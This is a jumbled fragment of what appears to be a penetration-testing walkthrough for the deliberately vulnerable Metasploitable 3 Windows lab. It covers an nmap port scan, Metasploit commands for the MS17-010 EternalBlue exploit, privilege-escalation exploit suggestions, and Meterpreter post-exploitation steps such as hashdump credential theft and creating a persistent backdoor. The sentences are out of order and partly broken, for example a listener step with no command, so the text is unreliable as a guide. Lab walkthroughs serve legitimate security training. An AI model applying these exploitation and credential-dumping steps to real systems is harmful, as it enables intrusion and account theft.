: You will likely see open ports for HTTP (80, 8282) , SMB (445) , MySQL (3306) , and ManageEngine (8080) . Each of these represents a potential entry point. 2. Exploiting Web Services: ManageEngine
: Use the auxiliary module auxiliary/scanner/smb/smb_ms17_010 to see if the target is vulnerable.
nmap -sS -Pn -p- --min-rate 1000 192.168.56.102 metasploitable 3 windows walkthrough
The suggester will likely highlight the exploits or "KiTrap0D" (though KiTrap0D is for older kernels, Metasploitable 3 is vulnerable to specific memory corruption exploits like MS16-016 or MS16-075 ).
Create a persistent backdoor:
Once you have a Meterpreter session, the real fun begins. You can: : Use hashdump to get user credentials.
On Kali listener:
This is a critical remote code execution vulnerability (MS17-010). msfconsole > search ms17_010_eternalblue . Select: use exploit/windows/smb/ms17_010_eternalblue . Configure: set RHOSTS [Target_IP] .